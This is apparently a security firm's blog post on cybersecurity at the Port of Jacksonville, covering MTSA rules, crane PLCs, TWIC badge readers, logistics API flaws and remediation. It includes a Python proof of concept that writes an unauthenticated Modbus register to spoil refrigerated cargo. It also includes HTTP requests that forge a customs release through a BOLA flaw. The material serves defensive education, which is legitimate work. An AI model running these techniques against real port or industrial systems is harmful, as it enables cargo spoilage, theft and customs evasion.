---
title: Jacksonville Maritime Logistics & Port Cybersecurity: MTSA, OT/SCADA, and Supply Chain API Pentesting
description: Deep dive into Jacksonville and JaxPort maritime cybersecurity. Pentesting ship-to-shore crane PLCs, TWIC biometric access controls, Modbus/DNP3 protocols, customs broker APIs, and BOLA container diversion scenarios under USCG MTSA directives.
date: 2026-11-06
category: Local Cybersecurity
read_time: 14 min read
author: Lorikeet Security
url: https://lorikeetsecurity.com/blog/jacksonville-maritime-logistics-port-cybersecurity
---

# Jacksonville Maritime Logistics & Port Cybersecurity: MTSA, OT/SCADA, and Supply Chain API Pentesting

[** Back to Blog](/blog)












The Port of Jacksonville (**JaxPort**) and its sprawling multimodal logistics corridor represent one of the most critical commercial arteries in the Southeastern United States. Handling over 1.3 million TEUs (twenty-foot equivalent units) of containerized cargo annually, along with being the nation’s second-largest vehicle handling hub, JaxPort generates over $33 billion in annual economic output across Florida. From the deepwater berths at Blount Island Marine Terminal and Dames Point to the breakbulk operations at Talleyrand, maritime operations here sit at the direct nexus of global shipping lanes, Class I rail interchanges (CSX, Norfolk Southern, Florida East Coast Railway), and interstate freight corridors.




However, the rapid digitization of maritime trade has fundamentally expanded the cyber threat surface. Modern container terminals are no longer governed solely by physical stevedores and mechanical pulleys. They are driven by an intricately interconnected mesh of **Operational Technology (OT)**, industrial supervisory control and data acquisition (**SCADA**) networks, automated Ship-to-Shore (STS) gantry cranes, and cloud-native **Terminal Operating Systems (TOS)** linked through RESTful and EDI APIs to international freight forwarders, customs brokers, and the U.S. Department of Homeland Security.




For terminal operators, cold-storage logistics providers, and intermodal transport firms operating throughout Duval County, cybersecurity is no longer an abstract compliance checklist — it is a vital operational mandate. A coordinated cyber incident at JaxPort could stall supply chains across seven states, incur millions of dollars in demurrage penalties, and trigger severe regulatory enforcement under the Maritime Transportation Security Act (MTSA). This guide explores the offensive threat vectors confronting Jacksonville maritime infrastructure, the nuances of testing air-gapped industrial protocols, and actionable remediation strategies.





**Threat Actor Advisory:** Federal intelligence bulletins from CISA, the FBI, and the U.S. Coast Guard Cyber Command (CGCYBER) have repeatedly warned of state-sponsored APT groups (such as Volt Typhoon) pre-positioning within critical U.S. maritime and port infrastructure. These adversaries target unpatched remote access appliances, cellular IoT gateways, and industrial control systems to establish persistent access for potential wartime disruption.






## The Maritime Regulatory Framework: MTSA, USCG Directives, and CISA




Unlike standard commercial enterprises governed primarily by state breach laws, maritime facilities operate under a stringent federal regulatory apparatus enforced by the U.S. Coast Guard:




            - **MTSA (33 CFR Part 105):** Under the Maritime Transportation Security Act, all regulated maritime facility operators must develop, maintain, and execute an approved Facility Security Plan (FSP). Recent USCG guidance explicitly mandates that FSPs address cyber vulnerabilities, incident reporting thresholds, and physical access controls tied to digital systems.

            - **USCG Maritime Security (MARSEC) Directives 105-4:** Directives issued by the Coast Guard require commercial port facilities to assess and remediate high-risk industrial network vulnerabilities, establish strict network segmentation between corporate IT and terminal OT, and verify third-party vendor access.

            - **Executive Orders on Maritime Cybersecurity:** Federal executive orders have reinforced cybersecurity standards across U.S. ports, investing over $20 billion into domestic port infrastructure and requiring rigorous supply chain risk evaluations for foreign-manufactured port equipment, specifically targeting remote telematics in ship-to-shore cranes.

            - **Florida Information Protection Act (FIPA - FL Stat. § 501.171):** Logistics providers collecting personal data, driver credentials, and customs declarations must implement reasonable safeguards to protect sensitive commercial and personal records against unauthorized exfiltration.






## Offensive Testing of Port OT/SCADA & Industrial Control Systems




The operational heartbeat of Jacksonville’s marine terminals consists of industrial machinery governed by Programmable Logic Controllers (PLCs), Remote Terminal Units (RTUs), and human-machine interfaces (HMIs). Traditional IT penetration testing techniques — such as aggressive Nmap SYN sweeps or unthrottled vulnerability fuzzing — can crash legacy embedded firmware and halt live container moves. Rigorous OT penetration testing requires specialized, non-disruptive methodologies.




### 1. Ship-to-Shore (STS) & Automated Stacking Crane (ASC) PLCs




Modern STS container cranes operate via advanced PLCs (predominantly Siemens S7-1500, Rockwell ControlLogix, or Schneider Electric Modicon). These controllers regulate trolley traversal, hoist motor drives, load-sensing micro-switches, and anti-sway algorithms. When our offensive team conducts physical and perimeter assessments, we frequently discover industrial wireless mesh networks (often 802.11ah, private LTE, or proprietary 5.8 GHz links) bridging cranes back to the central wharf control tower.




Vulnerabilities frequently discovered during crane assessments include:




            - **Cleartext Supervisory Protocols:** Telemetry transmitted over unencrypted industrial protocols lacks cryptographic authentication. Threat actors on the wireless segment can inject arbitrary control frames.

            - **Hardcoded Engineering Credentials:** Embedded web interfaces and diagnostic FTP/Telnet listeners running default vendor passwords (such as `admin:admin` or standardized factory technician bypasses).

            - **Unchecked Firmware Flashing:** PLCs accepting unsigned over-the-air firmware binaries, enabling malicious logic modifications that bypass physical safety stops.






### 2. Modbus TCP & DNP3 Protocol Exploitation




Within port yards, container tracking, electrical sub-stations, and reefer (refrigerated container) monitoring banks rely extensively on **Modbus TCP (port 502)** and **DNP3 (port 20000)**:




```
# Python Proof-of-Concept: Querying Unauthenticated Modbus Holding Registers on Yard PLC
from pymodbus.client import ModbusTcpClient

target_plc = "192.168.140.42"
client = ModbusTcpClient(target_plc, port=502)

if client.connect():
    print(f"[+] Connected to JaxPort Yard RTU at {target_plc}")
    # Read Holding Registers (Function Code 03) - Yard Bay 14 Reefer Temperature Setpoints
    result = client.read_holding_registers(address=1000, count=5, slave=1)
    if not result.isError():
        print(f"[*] Register Telemetry: {result.registers}")
        # Malicious override: Manipulating setpoint to induce spoil fault
        client.write_register(address=1002, value=0x01FF, slave=1)
        print("[!] Target Register Overwritten without Authentication!")
    client.close()
```




Because native Modbus TCP possesses zero native authentication or integrity verification, any device capable of routing packets to port 502 can read sensor inputs (Function Code 04), query coil statuses (Function Code 01), and write arbitrary outputs (Function Code 05/06). In cold-storage logistics or pharmaceutical shipping corridors through Jacksonville, unauthorized register manipulation can silently spoil high-value cargo without tripping corporate alarms.




### 3. TWIC & Electronic Physical Access Control Systems (PACS)




Under federal regulations, restricted areas of JaxPort require **Transportation Worker Identification Credential (TWIC)** validation. However, physical access readers are only as secure as the digital networks supporting them. Penetration testing commonly uncovers critical weaknesses in the underlying PACS infrastructure:




            - **Unencrypted Wiegand / OSDP Protocols:** Legacy Wiegand wiring connecting external badge readers to field access panels is susceptible to physical tap devices (e.g., ESPKey) that sniff and replay card serial numbers.

            - **Controller Network Segmentation Failures:** Network controllers manufactured by HID or Software House connected directly to shared administrative subnets, allowing attackers on the office Wi-Fi to send raw TCP packets to door control relays.

            - **Certificate Validation Bypasses:** Contactless TWIC readers failing to validate revocation lists (CRLs) or private cryptographic certificates against the TSA trust directory, falling back to reading static Cardholder Unique Identifiers (CHUIDs).






## Terminal Operating Systems (TOS) & Logistics Supply Chain APIs




While OT governs physical metal, the **Terminal Operating System (TOS)** — such as Navis N4, Tideworks Mainsail, or Octopi — serves as the digital brain of port logistics. The TOS orchestrates vessel stowage plans, yard container allocation, truck turnaround scheduling, and billing.




To enable real-time tracking, terminal operators expose web portals and REST/GraphQL APIs to thousands of external stakeholders: trucking companies, customs brokers, freight forwarders, rail carriers, and shipping lines. These external integration surfaces represent the single largest attack vector in Jacksonville’s supply chain.





| Vulnerability Class | API / System Target | Real-World Maritime Operational Impact |
| --- | --- | --- |
| **Broken Object Level Auth (BOLA)** | Gate Dispatch & Container API (`/api/v1/containers/{id}`) | Unauthorized actors view contents, consignee details, and billing codes of competitor shipments. |
| **Customs Release Bypass (IDOR)** | Broker Clearance Webhooks | Falsifying CBP (Customs & Border Protection) hold release tokens to bypass inspection queues. |
| **EDI Injection / Parser Flaws** | EDIFACT (BAPLIE, COPRAR) Parsers | Corrupting vessel stability calculations by spoofing container weights and hazardous classifications. |
| **Stale API Partner Credentials** | Logistics Broker Integration Gateways | Compromised freight broker API keys grant persistent external read/write access to yard inventory. |
| **Modbus/IT Gateway Pivot** | SCADA Telemetry Aggregator APIs | Lateral movement from internet-facing customer tracking web apps into internal RTG crane controllers. |






## Practical Threat Scenario: Container Diversion via API Authorization Bypass




To illustrate how technical vulnerabilities directly translate into catastrophic physical impact, consider this simulated attack chain demonstrated during an offensive assessment of an intermodal logistics provider:




### Phase 1: External Reconnaissance & Broker API Enumeration




An attacker targeting a high-value shipment (e.g., containerized electronics or pharmaceuticals arriving at JaxPort) inspects the public tracking portal provided to drayage motor carriers. By analyzing the client-side JavaScript bundle, the tester identifies an undocumented REST API endpoint used by automated dispatch software:




```
GET /api/v2/manifests/dispatch/JAX-984210 HTTP/1.1
Host: tracking.jax-logistics-portal.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsIn... (Low-privilege truck driver account)
```




### Phase 2: Exploiting Broken Object Level Authorization (BOLA)




The endpoint verifies that the caller possesses a valid bearer token, but fails to check whether the authenticated driver is authorized to access *other* container records. By cycling the container identifier parameter, the attacker extracts bills of lading, international seal numbers, declared cargo values, and delivery appointments across all active terminal berths.




### Phase 3: Forging Customs Clearance & Releasing Gate Holds




Inspecting the container release workflow, the tester identifies a state transition endpoint used to coordinate holds with external customs brokers: `PUT /api/v2/manifests/{id}/status`. The API expects an authorization payload:




```
PUT /api/v2/manifests/JAX-984210/status HTTP/1.1
Host: tracking.jax-logistics-portal.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsIn...
Content-Type: application/json

{
    "status": "CUSTOMS_CLEARED",
    "cbp_inspection_hold": false,
    "assigned_carrier_mc": "MC-894120",
    "gate_pickup_pass_generated": true
}
```




Because the backend microservice relied on client-side authorization and failed to validate the digital signature of the U.S. Customs broker against a pre-shared cryptographic key, the API returned `200 OK`. The container’s status in the central Navis N4 TOS immediately changed to "Released for Immediate Drayage," automatically updating the optical character recognition (OCR) gate cameras and generating an expedited QR gate-pass for an unauthorized carrier.





#### ** The Physical Outcome




Without triggering a single alarm in the corporate Security Operations Center (SOC), a multi-million-dollar container was reassigned, staged by yard gantry cranes, and driven out through the automated terminal gate by an unvetted third party. This vulnerability existed purely in application logic and would never have been detected by network firewalls or standard vulnerability scanners.






## Hardening & Remediation Roadmap for Jacksonville Port Operators




Protecting maritime logistics infrastructure requires a unified security architecture bridging physical operations, industrial networks, and cloud applications. Engineering and security leadership must enforce the following controls:




### 1. Enforce the Purdue Model for OT Network Segmentation




Implement strict physical and logical boundaries between corporate IT (Level 4/5) and the industrial demilitarized zone (IDMZ / Level 3.5). No direct IP routing must ever exist between corporate workstations and field-level PLCs (Level 1) or crane wireless links (Level 2). All supervisory traffic must pass through dedicated, dual-homed jump hosts requiring hardware-backed multi-factor authentication (FIDO2 / WebAuthn).




### 2. Deploy Deep Packet Inspection (DPI) Industrial Firewalls




Standard Layer 4 stateful firewalls cannot inspect the payload of industrial protocols; they merely see TCP port 502 traffic. Deploy industrial firewalls (e.g., Moxa, Nozomi, or Fortinet FortiGate with industrial signatures) that perform Deep Packet Inspection on Modbus and DNP3. Configure policies to explicitly block unauthorized write function codes (such as Modbus FC 05, 06, and 16) originating from monitoring consoles.




### 3. Zero-Trust Architecture for Supply Chain APIs




            - **Cryptographic Object Validation:** Eliminate numeric, predictable IDs in logistics APIs. Enforce cryptographically random UUIDv4 identifiers paired with rigorous tenant-level object authorization checks on every request.

            - **Mutual TLS (mTLS) for Customs Integrations:** Mandate mTLS with client certificates for all EDI, customs brokerage, and automated dispatch webhooks, ensuring rogue external requests cannot spoof clearinghouse actions.

            - **Immutable Audit Logging:** Export all gate-pass generations, customs hold releases, and bill-of-lading modifications to write-once-read-many (WORM) storage monitored by automated anomaly detection algorithms.






### 4. Transition to Continuous Penetration Testing (PTaaS)




Annual penetration testing leaves dangerous blind spots across rapidly iterating logistics systems. Modern maritime port operators are migrating to continuous **Penetration Testing as a Service (PTaaS)**. Continuous testing systematically evaluates both outward-facing logistics APIs and perimeter OT jump boxes whenever new code or industrial gear is deployed, providing verifiable attestation for USCG MTSA compliance audits.





## Secure Your Maritime & Logistics Supply Chain with Lorikeet




Lorikeet Security provides specialized industrial OT/SCADA penetration testing and modern API security validation for Jacksonville terminal operators, intermodal carriers, and port facilities across Florida.



                [** Explore Maritime & OT Pentesting](/service-areas/api-penetration-testing)
                [** Request an MTSA Scoping Assessment](/contact#booking)



                    ** Florida Maritime Security Desk: [(689) 202-3940](tel:+16892023940)







Link copied!


    Advertisement